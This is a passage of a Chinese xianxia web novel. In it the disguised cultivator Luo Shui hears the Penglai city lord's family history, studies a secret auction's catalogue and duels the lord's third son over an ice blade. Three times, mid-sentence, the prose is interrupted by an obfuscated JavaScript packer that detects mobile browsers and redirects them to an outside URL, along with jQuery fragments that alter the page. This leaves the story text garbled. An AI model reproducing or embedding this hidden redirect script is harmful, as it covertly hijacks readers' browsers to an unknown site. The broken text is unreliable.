洛水心里忽然一明,恍然大悟道:“林公子提醒得是,我确实未曾细思。”林风笑着,伸手指着图册下方的一处注解:“顾兄,你看这行小字,这是拍卖行的保底价,若无人竞拍,最终成交价便是此数。你不妨调整策略,既能得宝,又避免溢价。”洛水仔细端详,果然如此,对林风的细致与善意多了几分感激。 洛水看着图样下方的小字,发现‘一叶扁舟’保底价是九千中等灵石,而‘冰沁刀’只是三千上等灵石。洛水不禁揉了揉眉心,如若按自己写的价格竞拍,确实会多花不少冤枉钱。 “顾兄莫恼,这让你写自己要出的价格,本就是聚玲珑的小手段。聚玲珑虽有保底价,但竞拍时,会按这册子出价最高的重新作为保底价,然后再竞拍。比如这一叶扁舟,本是九千中等灵石,如若顾兄真按五千上等灵石交了上去,那竞拍时的保底价,就是五千上等灵石了,如若有人也要竞拍,那就是从五千上等灵石这个价码往上竞拍了,这也是他们把保底价写那么小的原因。”林风说完,洛水有些不好意思地笑了笑:“如若不是你,我真成冤大头了。” “所谓无商不奸,聚玲珑能拿下九州第一卖行这个名头,自然是有点本事在身的。” “九州第一卖行?这聚玲珑不是只有蓬莱城才有吗?” “自然不是,这里的聚玲珑是蓬莱城分号。” 洛水第一次对时间流逝如沙有了真实的感受,以往修行时,更多的时间都是在闭关中度过,对外界事务知之甚少,如今重入红尘,方知世事变换之快,以前自己的认知里,又哪来这种可以竞拍宝物的行当。如果有,按照当年自己的性子,恐怕早就一掷千万金,不计后果了。 “顾兄打哪来,似乎对这些事都不甚了解。”林风给洛水斟上一杯茶,温柔问道。洛水轻叹一声,缓缓道:“在下自幼随师傅在山中修炼,师傅老人家前年去了,留我一人守着山头实在无趣,便决意下山游历一番,增长见识。” “那顾兄的师傅,资产也颇为富裕呀。” “额……额,师傅老人家闭关前是个富裕人家的公子,因情受伤,为情所困,故而变卖了所有家产买了个山头修炼。”洛水不善说谎,这两句话说得有些磕绊,林风倒是并未深究,只是点头笑道:“原来如此,那顾兄有何不懂的,可以随时问我。” 两人说话间,楼下突然传来一阵喧闹声,循声望去,只见进来了一行衣着华贵的宾客,为首之人手持一柄玉骨折扇,身着墨色绣凤锦袍,五官有些阴柔,带着一股媚态。那人身后几人,亦是差不多的打扮,只是气度稍逊。他们一出现,便吸引了众人的目光。身旁的宾客纷纷低声议论:“这不是城主家的大公子吗?他怎么来这里了?” “就是,我不是听说他被城主流放了吗?” “你那就是瞎听说,大公子是被合欢派看上了,收去做弟子了。” “啊?合欢派?那不是魔道吗?城主也肯?” “这是蓬莱城,下面排队的那些,不是正道就是魔道的了,你有什么好奇怪的。” “毕竟那是合欢派,听说合欢派是以……哎哟,我要是城主,还是当这儿子死了好。” 一群人窃窃私语,目光却不敢直视那群人。大公子步履从容,嘴角挂着一丝不易察觉的冷笑,对周围的议论毫不在意。他径直走向三楼雅间,身后随从紧随其后,步履间尽显尊贵。 众人的议论声还未停下,又是一阵喧闹声起,只见一青衫女修持枪步入大厅,眉宇间英气逼人,枪尖寒光闪烁,瞬间吸引了所有人的目光。 “这,这不是城主家的二小姐!前年见她还是粗鲁莽夫的姿态,如今怎变得如此英姿飒爽?” “拜入了天江门做亲传弟子,自然是这副派头。” “什么?天江门?是那个和诸天峰凌家关系最为亲密的沈家?” “不然还能有哪个?” “可,可,可沈家,可是正派之楷模,沈家诛魔无数,与凌家并称‘正道双璧’,二小姐拜入沈家,但她大哥拜入合欢……我的天呐,让我捋捋,让我缓缓。” “一看就知道你是外地来的,这事早就不新鲜了。” “你们都不觉得奇怪?” “有啥奇怪的,你想知道啊?来来来,你请我喝一杯,我慢慢告诉你。” 叽叽喳喳的议论声一片,二小姐完全不在意,径直走向三楼雅间,脸上明媚如光,与她大哥的冷笑形成鲜明对比。 洛水听到众人的议论,瞧着两人,心里也冒出了一些好奇,林风笑道:“顾兄也对这些市井传闻感兴趣?” “毕竟人的求知欲是无穷无尽的。”洛水不好意思地笑了笑,不自觉地舔了一下上唇,这是他不好意思时不自觉的习惯动作,回头却看到林风眼神一直盯着自己,越发有些难为情了。洛水轻咳一声,试图掩饰尴尬,转移话题道:“难道林兄不好奇。” “好奇,所以我早就知道里面的弯弯绕绕了。”林风微微一笑,眼神中透出一丝深邃:“顾兄想知道?” “外边天色还黑,离午时还有段时间,如若林兄想讲些故事消杀一下时间的话。”洛水拿起茶壶,倒出一杯,缓缓推向林风面前。林风接过茶杯,眼睛看着洛水,似有笑意,然后轻啜一口茶,缓缓开口:“要说清这个事,还得从当年蓬莱大仙斩海妖说起……” 当年蓬莱大仙一剑开海,斩杀了盘踞此地多年的海妖,只是蓬莱大仙也被海妖所伤,且身中剧毒,当时统领的大妖虽死,但还有不少的零碎小妖不断进犯,所以蓬莱大仙留下弟子在此处继续击杀小妖,自己则出海去寻求解药。蓬莱大仙这一走,便没了消息。后来留下的弟子与此地村民共同杀妖,又重建城镇,最后以蓬莱大仙的名号建立蓬莱城,弟子理所应当的当了城主。这城主一做,就传了三十多代。 时间来到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116026|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这第三十三代城主,虽不是修真天才,但经营之道乃历代最高。蓬莱城越发富裕,当时的城主还未婚娶,想与蓬莱城结亲的世家门派不少,最后城主选的正是天江门沈家的嫡出三小姐为妻。 蓬莱城有钱,天江门有名,门当户对,这本是一段佳话,可两人婚后第二年,来了一人。那人自称婉娘,无姓,自南海荒岛而来。这人一来,便要求见城主,口口声声说自己是蓬莱城的恩人之后。这蓬莱城的恩人只有一位,便是蓬莱大仙。城主不敢怠慢,见了婉娘。那婉娘浑身衣服破烂,风尘仆仆,却有一张绝世之颜,即便脸上有众多吃苦留下的痕迹,依旧难掩其美色。婉娘拿出一物交予城主,说是蓬莱大仙的信物,城主一瞧,只觉浑身气血翻涌,那信物正是蓬莱大仙的佩剑——破剑。 虽叫破剑,但剑身却无一丝破损,反而透出淡淡金光,剑柄上刻有古老符文,正是蓬莱大仙独有的印记。城主心中震撼,忙问婉娘来历,婉娘却只道:“此剑乃大仙所托,助蓬莱城再渡难关。” 众人疑惑,均不知婉娘所说话语是何意,城主只得留下婉娘,细细询问再做打算。可就是那年,东海风起云涌,海面骤然掀起巨浪,蓬莱城所有商船无法出海,仿佛海中有巨兽觉醒。城主急召城中高手商议对策,婉娘却独自一人走向海边,手中紧握破剑,海风拂面,一剑开海,露出海中盘桓妖兽,那妖兽竟是当年祸害蓬莱城妖兽之后,潜伏多年修炼,意欲此时卷土重来为父报仇。 城主赶到时,婉娘正与妖兽厮杀正烈,城主随后加入战斗。那女子所用剑法与法术,均与城主一致,两人配合默契,剑光如织,妖兽节节败退。战到最后,婉娘祭出一道金符,符光闪耀,妖兽瞬间被封印。海面恢复平静,蓬莱城得救,众人惊叹婉娘神通,婉娘却悄然离去,留下一封信,言明破剑与金符均为蓬莱大仙所留,专为今日之难,当年蓬莱大仙出海寻药,竟一路从东海行至南海,在某个常年与海妖对战的海岛部族寻得了解药,但因中毒太深,已法力全失,落下残疾,无力再回东海,故而在岛上安度晚年,且有了后。但是蓬莱大仙死前推了一卦,深知百年后蓬莱城必有一劫,便将信物与秘法传于后人,嘱咐后人务必于危难之时前来相助。婉娘正是蓬莱大仙的后裔,受命守护蓬莱城。 “想来后面的故事,就是城主派出人寻回婉娘,因婉娘是蓬莱大仙之后,故而还娶了她做平妻,与沈家三小姐平起平坐吧。”洛水听到这,觉得有些乏味,便打了个哈欠,轻声道:“这些陈年旧事,虽传奇,倒也没逃出烂俗故事的脚本,终究是英雄救美,或者美救英雄,家族联姻的老套情节。” “要不说顾兄聪明呢,确实差不多。”林风哈哈一笑。 “我想后面的故事就是婉娘和三小姐交恶,然后互相仇视互相争斗,反正两人中有一人死了,所以导致了她们的后代现在一个在魔,一个在正的局面,然后要双方孩子一定争下城主之位。”洛水有些无奈,活得久了,发现其实世间事都是差不多的,无论时间如何变换,来来回回就那样,终究难逃恩怨情仇。 “虽然和顾兄猜得差不多,但是还是有些不同。” “哪里不同?” “大公子和二小姐乃一母所生,婉娘虽然被找回来了,但城主没有抬为平妻,而是做了妾,婉娘生的,是城主第三子。”林风话语一出,洛水脑子里立刻闪过那晚易燃易爆的面孔:“我是见过城主第三子的!” “嗯?竟有这样的缘分?” “哪里是缘,那天我正在打坐运气,天上掉下来一把剑直戳我心口,差点没要了我的命,就是城主三儿子干的。”林风闻言,眉头微皱,脸色有些不悦:“顾兄可有受伤?” “虽有些修为,但招式稚嫩,两招就拿下了,不曾受伤。”闻言,林风松了口气,轻叹道:“那就好。” “别转移话题,如果大公子和二小姐是一母所生?又怎会拜入正魔两派?这和婉娘又有何关系?” “还想听?不觉得像话本子套路了?” “不像不像,你快说。” “那顾兄再给我倒一杯茶。” “好好好,给,我亲自喂你喝,你快说。”洛水快速地倒出一杯茶水,伸手递向林风,眼神示意他接茶。林风嘴角轻咧,就势把茶杯送到嘴边,轻抿一口,继续说起故事。 17. 十七、拍卖大会(二) 婉娘被找回后,是不愿意和城主成亲的,婉娘说自己本就是受先祖之命来此解困蓬莱,并非求取荣华富贵。然而城主却坚决要留下她,并将婉娘收为义妹。婉娘留下后,众人皆担忧城主府会因此不得安宁,皆因婉娘容貌绝美,足以令任何男子心驰神往。然而,婉娘却从不以此自矜,每日在城主府中陪伴着三小姐,即城主夫人,两人日渐亲近,终成了无话不谈的挚友。 时间来到解困蓬莱后的第三年,城主夫人怀孕了,婉娘更是悉心照料,每日亲自煎药烹茶,细致入微。很快,大公子诞生了,但大公子天生就有不足之症,几次都差点没活下来,婉娘不离不弃,日夜守候在摇篮旁,每当大公子稍有好转,婉娘便会外出遍访名医,为大公子寻求治疗之法。大公子也终是在两岁的时候安稳了下来。可命是保住了,却发现大公子灵根涣散,仙髓残缺,无法修仙。而这时,城主夫人的第二个孩子也即将临盆,婉娘依旧尽心照料,为避免大公子那般的情况,多次寻求高人指点,遍寻灵药,只为求来第二个孩子能平安健康。 后来,二小姐诞生了,确实如城主夫妇所期待的那般,身体健康,灵根稳固,小小年纪便能舞刀弄枪,与大公子形成鲜明对比。生下二小姐的第二年,城主夫人却倒了,病势沉重,医药无效,终日只能卧于床榻。婉娘日夜守候,遍寻名医,甚至不惜以自身灵力相辅,依旧无法治愈城主夫人。 蓬莱城偌大的一座城池,从不会因为谁倒下而停止。那段时间里,城主要应付外头的事务,又要监管内宅的事务,还要到处寻人救治夫人,身心俱疲。城主夫人见此,下跪恳请婉娘代为掌管内宅,以减轻城主负担。掌管城主内宅,只能是城主内人方能胜任,婉娘虽不愿,但见城主夫妇如此艰难,只得应允,但只一条,她只做妾不做妻,城主夫人始终只有一人。 婉娘接手内宅事务后,管理得井井有条,府中上下皆对她心生敬佩。府内事务渐趋平稳,城主亦能全心应对外务。婉娘虽掌内宅,却依旧心系城主夫人,日夜探望,关怀备至,并始终以城主夫人为尊。二小姐在婉娘悉心教导下,愈发聪慧伶俐。大公子的身体也日渐好转,虽依旧有所不足,但已与常人无异。城主第三子,也是这时候诞生的。 原本这样一家也可算得上是幸福美满,然而,命运总爱与人玩笑。那年,城主夫人母家出世了一位元婴长老,此长老有意在宗族中选一人做亲传弟子,能与元婴级人物结缘,从各种意义来说,都对蓬莱城有巨大助益,故而城主把二小姐送往母家,以期获得长老青睐。而这时,大公子又病了,病得比之前更为严重,婉娘心急如焚,再次踏遍千山万水求医问药,然而每一位医者都摇头叹息,言此乃天生顽疾,非人力所能及。城主无奈之下,只得广撒英雄帖,悬赏蓬莱城半数财富,期盼能有世外高人前来相助。重赏之下必有勇夫,只是来的人,未必是城主想的那样。 来的人,是合欢老祖。合欢老祖在正道声名狼藉,却是魔道尊者,在魔道中无人不敬,所修合欢功有起死回生,□□再生之效,大公子的顽疾在他面前不值一提,但需得日夜修炼其功法才能压制大公子顽疾。合欢老祖之意,乃是大公子需投身合欢派门下,方能逃脱病魔之手。 城主犹豫再三,终因爱子心切,咬牙应允。城主夫人虽心有不愿,却也无可奈何,只能含泪点头。这时,传来了二小姐因天资聪颖被元婴长老收为亲传弟子的喜讯。 洛水听到合欢老祖的名字时,被喝了一半的茶水呛住,林风体贴地递给一方巾帕,洛水接过巾帕,轻拭嘴角,眼中闪过一丝忧虑。“天江门,合欢派,这两个一正一邪,亲传弟子却是骨肉至亲,难道两边没派人来做点什么?” “自然是有,两边各派出筑基、结丹修士百余人,聚集于蓬莱城上空,当时可谓是一触即发,一场正魔大战即将爆发,蓬莱城必受其牵连。” “最后是怎么化解的?” “两方相斗皆因利益,无论天江门还是合欢派,利益点皆是下一任蓬莱城城主之位,只要利益点消失,争斗自会平息。婉娘出了个主意,让城主立下誓言,承诺城主之位将传给第三子,而日后,蓬莱城将保持中立,不偏不倚,正魔两道可随时进出,但须遵守城规,城内无论正魔皆不可动手,蓬莱城再拿出三十万上等灵石,聘请两边使者来此驻扎监督治安。此举蓬莱城让利颇多,却也让两方暂息干戈,蓬莱城得以恢复安宁。” “如此情况之下,这确实是最好的方法了。”洛水轻叹,目光深远:“只是,中立之路谈何容易,更何况里面还牵扯了骨肉亲情。” “尽管困难重重,但也勉强度过了十几个春秋,这十几年间总算是平安无事。” “林兄一开始还跟我说是来长见识的,看来我才是那个要长见识的。” 林风笑笑,不说话,此时侍童再次出现,手中拿着一个金制端盘,一卷深红色绣祥云纹的布卷躺在其中,侍童恭敬道:“林公子,这是暗拍的目录,请过目。” “好,放这吧。”林风敲了敲桌子,侍童把端盘轻轻放下,随后又出来两侍童,扛着一面木质屏风,把洛水与林风两人的位置遮得严严实实,与其他桌隔了开来,最后离开时,侍童在屏风上贴了一张绿色符箓,又深鞠一躬离开。 “这是,禁音符?”洛水起身摸了摸绿色符箓,确实是自己认识的禁音符样式。 “是,以防隔墙有耳。原本暗拍的人都坐三楼的,三楼有防窥禁制,我今日任性了,所以才有这些。” “可禁音符只对普通人有效,但凡神识更高的,要窥听也是容易的事。” “无妨,聚玲珑有禁制法阵,元婴以下的人物,都没办法在此使用法术,元婴大能应该也瞧不上这里的这些东西,如果有,自认倒霉咯。” “这么厉害?”洛水说着运了运灵气,发现自己灵力运转依旧,并不受限制,赶忙收起灵力,他忘了自己的神识已是化神,自然不受这限制了。洛水急忙看向林风,见对方正打开红色布卷细看内容,神色如常,并未看到这边,这才稍稍放心。 ‘他应该没感应到我的灵力吧?’洛水十分担忧,他不想被人识破自己的真实实力,这一瞬,洛水冒出了是否要杀了此人的想法,但很快被自己压了下去。 “顾兄你在干嘛?怎么在那发呆不动了?”林风抬起头,一脸的诚恳。 ‘我怎么有如此念头?’洛水心中一惊,迅速收敛心神,勉强笑道:“哦,没什么。对了,暗拍是何物?” “拍卖分为明拍和暗拍,明拍就是顾兄你册子上的这些,来路均有出处,这些拍物都是被一一检验过才放上聚玲珑的,而暗拍,就比明拍刺激得多了。”林风摊开手中的布卷,指向其中一行:“暗拍之物,大多来路不明,甚至有些是禁物,但往往价值连城,风险与机遇并存,比如说这一物。” 顺着林风修长的手指看去,他的指尖按压在一面镜子的图样上,布卷上写着,此镜名曰“幽冥照骨镜”,据传能贯通阴阳两界,窥视生死轮回,避过鬼差追捕,镇压凶恶厉鬼,昔日曾为一方大能所持有。此镜已滴血认主,非其主者难以驾驭,而曾经拥有此镜的大能早已陨落,此镜流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116027|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落世间,成为无数修士争夺的宝物,然而,此后凡接触过此镜之人,无一不被其反噬,落得个凄惨下场。洛水看着介绍,只见最下面一行写着,此镜已噬主三十二人。 “这镜如此凶险,拿出来卖会有人买吗?”洛水好奇。 “当然有,修界中不乏追求极致力量的疯子,近些年正道狙杀魔道的行动颇多,毁了不少魔道的怨气穴窝,这种噬主颇多又邪门的东西,一旦被炼化,对于魔道而言助益可不小。” “就怕是有钱买,没命享。认主的东西向来难以驾驭,况且又有多条人命,只怕这镜子已经修成精怪,并非寻常法器了。” “如若真是如此,拍得此物的人只会觉得是赚了,而不是怕了。修真界,无论是大希望还是小希望,有希望就是好事,特别是那些大限将至,始终无法突破自身的。”林风的话点醒了洛水,自己也曾在元婴后期苦苦挣扎了数百年,始终不得突破。他深知那种深入骨髓的绝望与对力量无尽的渴望,正是这种交织的心态,驱使着修士们不顾一切地踏入禁忌之路,只为追寻那传说中的至宝。 ‘当年我是怎么突破元婴而化神的?怎么会这段记忆也没了?’自借顾青的身体苏醒后,洛水发现自己的记忆缺失了不少,每当想到某个片段,脑里只有一片空白,仿佛被谁刻意抹去了什么。‘或许是化神陨灭对元神的伤害颇重导致的吧,待慢慢修炼回去应该还能记起’洛水这么安慰着自己。 “难怪是暗拍,如若明着来,想必正道那些疾恶如仇的,必得砸了聚玲珑不可。”洛水打趣道,林风摇摇头,小声说道:“其实很多正道的人也来暗拍,毕竟机缘这东西,又不分正邪,你瞧这件拍物。” 林风又指了一物,那一物是一件女修浣纱,此浣纱由金蚕丝与冰焰丝钩织而成,这两物是极好的灵力传导物,以此制作的东西可柔可硬,无论是做法器还是武器,均是上乘。此物曾属于一名叫作醉落道人的女修,那女修道行虽深,道心却浅,刚修炼出道下山,就被男人骗了身子骗了钱,醉落道人亦是性情,用这浣纱把那男人吊死,又切了某个重要部位。 “此物对比幽冥照骨镜,除了晦气之外,样样俱佳,肯定有不少正道想要,但是碍于脸面,哪家敢明着收呢,这物件的来历太晦气了。但是沦为暗拍就不同了,拍回去,炼成另一副样子不就好了。” “出价的时候不就都知道是谁了。” “想暗拍的,哪个不是化身化名前来。暗拍场上,各怀鬼胎,正邪难辨。”林风嘿嘿一笑,洛水接了一句:“那林兄你呢?” 话刚问出口,洛水便后悔了,即便林风是化身化名,又与他何关,两人不过是萍水相逢。林风还在笑的嘴顿了顿,接着说:“我确实是化身而来,并非我对顾兄不坦诚,只是我的真实身份会惹来许多麻烦事,还会连累身边人,这也是不得已而为之。” 洛水吃惊,没想到林风竟对自己坦诚到此种地步,一时语塞。林风见状,轻拍洛水肩膀,低声道:“顾兄不必多虑,你我相识一场已是有缘,何必深究彼此过往来历。但如若顾兄真想知道,只要机会合适,我必定以真面目相见。” “承蒙林兄厚爱了,以茶代酒,敬林兄一杯。”洛水只觉林风为人坦荡,甚是喜欢,两人举杯轻碰,茶香四溢,彼此眼中皆是欣赏。 两人后来闲聊了些修真界的近期传闻,谈了谈灵兽现世,秘境开启这些闲话,不知不觉已至午时,阳光透过窗棂洒落,光影斑驳。 “噹”一声清脆的钟鸣打破了宁静,钟声回荡在空旷的大厅,拍卖会即将开始。 18. 十八、拍卖大会(三) 洛水听到声音,好奇地往下看,只见一身穿红绿锦袍的中年男子步入拍卖场中央,身后跟着十数个侍童,每人手中各捧有一巨大锦盒。中年男子清了清嗓子,声音洪亮:“诸位道友,今日之拍卖盛会即将拉开帷幕,由我洪圈财亲自主持,定当让诸位满载而归。” 声音一出,只听见门扇关闭的声音,四周便陷入了寂静。 “今日首拍第一物,是这弱水寒铁所造,冰系至宝‘冰沁刀’。这冰沁刀由名师匠造,锤炼三年方成刀型,磨炼十年方有刀刃,锋利无比。此刀为全新兵刃,非陈年旧物,实为难得之宝,起拍价定为三千上等灵石,每次加价五百,机不可失!”话至此,洛水才反应过来,自己并未把出价卷轴交予侍童,林风却说道:“刚才闲聊的时候我已经把顾兄的出价交上去了。” 洛水微微一笑,放下心来。下头人头攒动,开始议论纷纷。 “这冰系水系法术多为正道,而刀形法器多为魔道,这冰沁刀虽是稀罕,但这不正不魔的,谁会用啊?” “谁说魔道就没有修水系冰系的,这法术又无正魔之分。” “就是,而且这刀是真美,比图册上看着更美,通身剔透,竟像冰一样,如果我不是修的火系,我一定拿下它!” “你可别吹了,三千上等灵石,你怕是三百中等灵石都凑不出来吧!” “九十九号贵客,出价三千五百上等灵石。”洪圈财的声音再次响起:“九十九号客人出价三千五百上等灵石,还有更高的吗?” 一阵沉默后,洪圈财高喊:“三千五百上等灵石一次……” 洛水找出自己的拍卖牌,赶忙举起。 “六十六号贵客,出价四千上等灵石。” “九十九号贵客,出价四千五百上等灵石。” “六十六号贵客,出价五千上等灵石。” ‘哇’全场哗然,众人目光齐刷刷投向洛水,这个从未见过的年轻修士,竟出价五千上等灵石,虽说冰沁刀是稀罕物,但如此高价竞拍,实属罕见。洛水神色平静,心中却暗自盘算,此刀对他的修炼大有裨益,五千灵石虽贵,却物有所值。 “九十九号贵客,出价五千五百上等灵石!” ‘哇’全场再次沸腾,议论声此起彼伏。 “七千上等灵石。”洛水性格使然,不喜这般缓慢的加价,直接给出了原本心里的定价。这下全场顿时鸦雀无声,众人皆被这豪气干云的出价震慑。洪圈财眼中闪过一丝惊喜,迅速高喊:“七千上等灵石一次!” “七千上等灵石,两次!” “我也出七千上等灵石!”一个坚定的声音传出,众人循声望去,一个面容冷峻的少年高举号码牌,满脸的不服气。 “顾兄,你对自己的拳脚是否有信心?”林风在一旁轻声问道。 “还略有些信心。”洛水回答得不够肯定,毕竟如今的身体尚存诸多未知与变数,虽已渐入佳境,却仍非妄自尊大之时。 “那顾兄便不要再加价了,等拍卖师喊话。”林风狡黠一笑。 “六十六号贵客,是否加价?”洪圈财看向洛水,洛水摇了摇头,洪圈财身后的侍童立刻敲响铜锣,清脆的响声回荡在大厅内。“夺宝比试!开始!请双方贵客到台前来!” “天呐!今天是撞了什么运,居然第一件拍品就有夺宝比试!” “且慢,诸位可曾留意那九十九号,是否似曾相识?” “眼熟!是,是,是城主家的三公子!” “什么?三公子!怎么他也来啦!” 待九十九号客人跳上竞拍台时,众人才看清他的脸,少年眼神坚定,脸上透着一股青涩的倔强,神情是满满的志在必得。 洛水有些头疼,心中暗叹自己运气不佳,竟又与城主之子对上。但看了一眼台上的冰沁刀,还是深吸一口气,从位置跃向中央竞拍台。 “是你!”少年很快认出了洛水,眼中流露一丝恨意,随后一声大笑,说道:“很好!那日要不是白老头拦着我,必然要你好看!今日你还和本少爷抢宝,这里是聚玲珑,夺宝比试不认输不会停,你准备好受死吧。” “唉。”洛水轻叹一声,淡淡道:“废物,总是如此聒噪。”此话一出,全场兴奋尖叫,蓬莱城内从未有人敢如此评价城主家的人,即使城主家的丫鬟小厮都议论不得,而这新鲜面孔,一上来就是对着三公子如此辛辣点评,在场众人被这番言论激起狂热,纷纷嗷嗷大叫,气氛热烈至极。 “由于两位出价相同且不愿加价,聚玲珑的规矩,价码相同则触发夺宝比试,规矩很简单,不许下死手,不许致残,其他全凭各自发挥。”洪圈财讲解着规则,两人一齐点了点头,洪圈财大喊一声:“比试!开始!” “哼,避免一会你输得太快,记不住小爷我的名字,给我记住了,我叫陈枫!”陈枫说话间,从储物袋中祭出一把长剑,此剑剑身篆刻有龙纹,剑气逼人,但隐隐透着一股水雾灵气。 “顾青。”洛水不多言,只轻声报出自己的名字,继而手中光芒一闪,一柄寒光凛冽的冰晶长剑出现在掌中。 “怎么不用你的双剑了!” “打还是不打?啰嗦。”洛水眉头微皱,剑尖轻点地面,寒气四溢,台上地面被冻结出一层薄霜,洛水脚踏薄霜,身形如闪电般急促冲刺,手中剑气冰封万丈,直击陈枫心口。陈枫大惊,但也迅速反应,长剑横挡于胸前,剑身龙纹闪烁,水雾灵气瞬间凝聚成屏障。‘噹’一声,洛水的剑击向屏障但未能刺破,陈枫借力反震,企图用剑压下洛水的攻势。然而,洛水身形一扭,巧妙避开反震之力,剑势突变,冰晶长剑化作一道寒光,绕过屏障,直取陈枫侧身。 “无用功!”陈枫怒喝一声,身上屏障瞬间加强,水雾灵气化作龙形,咆哮着扑向洛水。洛水不慌不忙,抛出手中冰晶长剑,快速扣指催法,冰晶长剑化作冰龙,与龙形水雾激烈碰撞,一瞬间,场地被炸出无数水珠和冰屑,扑向周遭观众。 “起界!”洪圈财和身旁侍童吩咐,一齐挥手布下防护罩,挡住四溅的冰水。防护罩内,冰龙与龙形水雾激烈交锋,声势浩大。洛水眼神冷静,手指连弹,冰龙愈发狂暴。陈枫额头见汗,竭力操控水雾,却渐显不支。观众屏息凝视,只见冰龙猛然一击,水雾龙形骤然崩散,陈枫身形踉跄,险些跌出界外。 “认输吗?”洛水冷冷一问。 “认你*!”陈枫咬牙切齿,灵力如潮汹涌,长剑霎时闪耀起夺目蓝光,剑身瞬间隐匿于无形之中。 “好手段!居然隐匿剑身,这样对剑,对方根本看不见剑身长短,一旦有所疏忽,便会被剑刃所伤!”观众里有人惊呼道,但随后有人嗤之以鼻:“看不见剑身,还有法术,又不是非得近身搏斗。” 观众讨论之际,台上两人已重新对招。陈枫挥剑冲向洛水,剑气无踪,根本无法看出下一剑将指向何方。洛水身形微退,眼神紧盯陈枫剑势,而陈枫剑招越发快速,如疾风骤雨冲刺,频频冲刺下,洛水抬手的一瞬,陈枫的剑穿刺而来,洛水快速反应,却还是被陈枫的剑尖划破衣袖。洛水看了一眼自己损坏的袖口,一股怒气涌上心口,开口骂道:“你知道这衣服多贵吗!” “什……?”陈枫被洛水突然一问问懵了,洛水冷哼一声,运转周身灵气,只一霎,在场众人忽然觉得冰冻刺骨,场地上方幻化出无数的巨大冰锥,如暴雨般射向陈枫,陈枫急速闪避,冰锥击中地面,瞬间炸裂成无数冰屑,四处飞扬。陈枫拼尽全力躲避冰锥,但仍有数枚擦身而过,衣衫破损,肌肤泛红。冰锥越发密集,场地都是冰锥砸地后激起的冰屑,化作浓厚的冰雾,陈枫觉得空气越发冰冷,呼吸渐显困难,而且不知为何,胸口隐隐作痛。 洛水从冰雾之中再次显形,眼神凌厉,手中法诀变换,冰锥化作冰链,瞬间缠上陈枫四肢。陈枫大喊一声,灵力狂涌,奋力挣扎,冰链却越收越紧。 “你认不认输!”洛水冷声逼问,陈枫咬紧牙关,双眼赤红,灵力疯狂涌动,却难以挣脱冰链束缚。 “我,不认!”陈枫牙关紧咬,被冰链紧紧束缚的双手奋力挣扎,直至鲜血渗出,灵力猛然间如火山喷涌,冰链在强大的力量下逐一崩裂,他怒吼一声,高举利剑,不顾一切地冲向洛水。 “不自量力。”洛水手指一捏,掐诀诵咒,陈枫只觉胸口瞬间剧痛无比,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116028|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里微甜,一口鲜血喷出,在场所有人都被眼前一幕震惊。“你已吸入我的冰屑,你体内有无数的冰屑正在穿刺你的血管,脏器,再不认输,无需我出手,你也必死无疑。” “我!不!认!输!”陈枫胸口疼痛越发剧烈,手中的剑都拿不稳了,但他依然咬牙坚持,灵力再次汇聚,剑尖微颤,拼尽全力挥出一剑,剑气如虹,直逼洛水。洛水神色不变,只是微微侧身,剑气贴着洛水擦身而过,击向了防护罩。 “很好,有骨气,我送你……”话音未落,洛水只觉上方一道凌厉之光冲刺而下,对准了自己的天灵盖。洛水大惊,急速后仰,那道光芒擦过鼻尖,嵌入地面,防护罩瞬间炸裂,在场所有人都被这一刺掀起的波浪冲倒在地,洛水一瞧,眼前的是一柄寒光闪闪的长枪。 “聚玲珑的规矩,不死,不残,阁下可是要违反?”声音从上往下,一袭青影从高处落下,稳稳落在长枪旁,青影利落抽出长枪,枪尖直指洛水,眼神冷冽如霜:“你要是敢再动他一下,你的命,我收了。” “我还不知这夺宝还能请帮手。洪先生,有这个理的吗?”洛水不理那人,背过身子望向洪圈财,洪圈财满脸堆笑,说道:“没这个理,没这个理,不认输,便一直打,不死不残即可。” “此人咒术阴险,埋冰入体,穿刺脏腑,怎能不残!”青影冷哼一声,长枪骤抖,寒光凛冽:“如此手段,究竟何方魔道!”洛水面色一变,冷笑连连:“魔道?技不如人便扣以魔道之名?二小姐若要定罪,蓬莱城律例甚多,随便拿一条定我的罪即可,何须胡乱猜测?况且,即便我是魔道,那又如何?蓬莱城可有禁止魔道入城?” “就是呀,这明明是三公子技不如人,二小姐再疼弟弟,也不能血口喷人啊。” “说他是魔道怎么就是血口喷人了,魔道有什么见不得人吗!” “这聚玲珑向来是不死不残就一直打的,二小姐怎么那么不懂规矩。” “就是就是,城主再大,可地是聚玲珑的,讲规矩也是按聚玲珑的来呀。” 